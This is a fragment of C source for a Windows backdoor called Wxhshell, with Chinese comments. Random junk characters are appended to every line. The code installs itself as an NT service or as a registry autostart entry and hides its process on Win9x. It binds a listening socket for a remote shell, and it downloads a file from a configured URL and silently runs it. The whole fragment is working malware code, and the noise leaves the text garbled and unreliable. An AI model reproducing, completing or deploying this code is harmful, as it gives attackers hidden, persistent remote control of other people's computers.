} PROCESS_BASIC_INFORMATION; S6AU[ASY.
o]p|-<I Q
PROCNTQSIP NtQueryInformationProcess; av$/Om:
^9ePfF)5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9Iz%ht
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qHP78&wUx
w*|7!iM
HANDLE hProcess; 82]vkU
PROCESS_BASIC_INFORMATION pbi; qfK`MhA}
hWT[L.>k
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;d'Z|H;
if(NULL == hInst ) return 0; TH$N5w%
OBP1B@|l$+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9$|Gfyv
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *H.oP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *0>mB
e`v`XSA[p
if (!NtQueryInformationProcess) return 0; ^pe{b9c
q7-L53.x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K!] 1oy'V
if(!hProcess) return 0; >+
4huRb
v0ES;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^>N]H>0'S
l+g9 5mjP
CloseHandle(hProcess); mBG=jI "xh
hweaGL t0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6^c>,.R
if(hProcess==NULL) return 0; jD`d#R
ZU9c 5/J
HMODULE hMod; GR"Eas.$
char procName[255]; f}@jFhr'<
unsigned long cbNeeded; Q]w&N30
<@Fy5k-%.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,57`D'
~2zMkVH
CloseHandle(hProcess); \a=D
Xj5~%DZp
if(strstr(procName,"services")) return 1; // 以服务启动 .LuB\o$
Z KOXI%~Mc
return 0; // 注册表启动 yin'vgQ
} yH<$k^0r*
^+1#[E
// 主模块 LT,? $I
int StartWxhshell(LPSTR lpCmdLine) 1& '8Y
{ 4L73]3&
SOCKET wsl; (
&frUQm
BOOL val=TRUE; ]Bm>-*@0N
int port=0; h#hxOVl%x
struct sockaddr_in door; 2AVa(
|/|
if(wscfg.ws_autoins) Install(); 6Kj'ZyVL
ZDC9oX @
port=atoi(lpCmdLine); !2|=PB' M
d|*"IFe
if(port<=0) port=wscfg.ws_port; \6 93kQ
!!:LJ
WSADATA data; 3w!c`;c%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PccB]
ZJjTzEV%^B
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7 uarh!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xwH?0/
door.sin_family = AF_INET; F>X-w+b4r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2PR^:h2
door.sin_port = htons(port); lMz<s
0K-*WQ*#9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p<v.Q
closesocket(wsl); n6(.{M;
return 1; }BmS)Jq
} L}yyaM)
sncIqsZ
if(listen(wsl,2) == INVALID_SOCKET) { c=6Q%S
closesocket(wsl); '>v^6iS
return 1; lI/0:|l
} X{g%kf,D=
Wxhshell(wsl); pfd#N[c
WSACleanup(); G3G6IP
=ORf%f5"'
return 0;
Xm4CKuU@
$oLU; q%
} 3?E&}J<n
SxjCwX">
// 以NT服务方式启动 jb /8?7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CWO=0_>2
{ XTDE53Js&
DWORD status = 0; |fHB[ W#
DWORD specificError = 0xfffffff; <g9"Cr`
Y?#i{ixX6n
serviceStatus.dwServiceType = SERVICE_WIN32; 3g~^LZ66
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]=!P(z|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uw<&Wm`'
serviceStatus.dwWin32ExitCode = 0; LjdYsai-
serviceStatus.dwServiceSpecificExitCode = 0; Y1dVM]l
serviceStatus.dwCheckPoint = 0; jFerYv&K~
serviceStatus.dwWaitHint = 0; gq5qRi`q
^\:2}4Uj_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t?^9HP1b_
if (hServiceStatusHandle==0) return; ;:mY JV
-n*;W9
status = GetLastError(); E-1"+p
if (status!=NO_ERROR) {[(pWd%J
{ &D#+6M&LK{
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~@8+hnE]
serviceStatus.dwCheckPoint = 0; 1'G8o=~
serviceStatus.dwWaitHint = 0; &!35/:~uD
serviceStatus.dwWin32ExitCode = status; s T3p>8n
serviceStatus.dwServiceSpecificExitCode = specificError; NfE.N&vI_c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [$ :
return; 4%*hGh=
} 2:$ k
6(sIYZ2yq
serviceStatus.dwCurrentState = SERVICE_RUNNING; K%}}fw2RMN
serviceStatus.dwCheckPoint = 0; v6e%#=
serviceStatus.dwWaitHint = 0; i9UI,b%X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xfSG~csoz
} sa1mC
fY2wDD
// 处理NT服务事件,比如:启动、停止 OYf{?-QD
VOID WINAPI NTServiceHandler(DWORD fdwControl) # nfI%
{ .F0]6#(
switch(fdwControl) ew#T8F[
{ fo\\o4Qyh
case SERVICE_CONTROL_STOP: f|xLKcOP
serviceStatus.dwWin32ExitCode = 0; ~hURs;Sb
serviceStatus.dwCurrentState = SERVICE_STOPPED; iUr xJh
serviceStatus.dwCheckPoint = 0; WfGH|u
serviceStatus.dwWaitHint = 0; Q2C)tVK+
{ /~}_h O$S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LCQkgRs}~{
} /aUFc '5
return; # bX~=`
case SERVICE_CONTROL_PAUSE: qmmv7==
serviceStatus.dwCurrentState = SERVICE_PAUSED; ma}}Sn)Q
break; 7o{*Z
case SERVICE_CONTROL_CONTINUE: ;.Zh,cU
serviceStatus.dwCurrentState = SERVICE_RUNNING; DY><qk
break; )
YSh D
case SERVICE_CONTROL_INTERROGATE: KR3-Hb4
break; j%M @#
}; B-Y+F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kp_jy.e7&
} b*9e1/]
ZBj6KqfST%
// 标准应用程序主函数 !cCg/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rrQ0qg
{ [:i sZG*
!b%,'f y)
// 获取操作系统版本 ?"@ET9
OsIsNt=GetOsVer(); P`sN&Y~m
GetModuleFileName(NULL,ExeFile,MAX_PATH); o5#,\Y[ g
yv${M u
// 从命令行安装 aBCOGtf
if(strpbrk(lpCmdLine,"iI")) Install(); y@9Y,ZR*
-]&<Sr-
// 下载执行文件 nx :)k-p_[
if(wscfg.ws_downexe) { A*Q[k 9B
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 70<K.T<b
WinExec(wscfg.ws_filenam,SW_HIDE); u'@Ely
} jI#z/a!j:
pSrsp r
if(!OsIsNt) { f)tc 4iV
// 如果时win9x,隐藏进程并且设置为注册表启动 )b (X
HideProc(); aa=b<Cd
StartWxhshell(lpCmdLine); 8g5.7{ky
} {Vl"m2
else <"ae4
if(StartFromService()) -CElk[u
// 以服务方式启动 5xv,!/@
StartServiceCtrlDispatcher(DispatchTable); tD^a5qPh
else 3AP YO
// 普通方式启动 "sIN86pCs
StartWxhshell(lpCmdLine); 67
O<*M
DD6 'M
U4
return 0; (o{)>D
}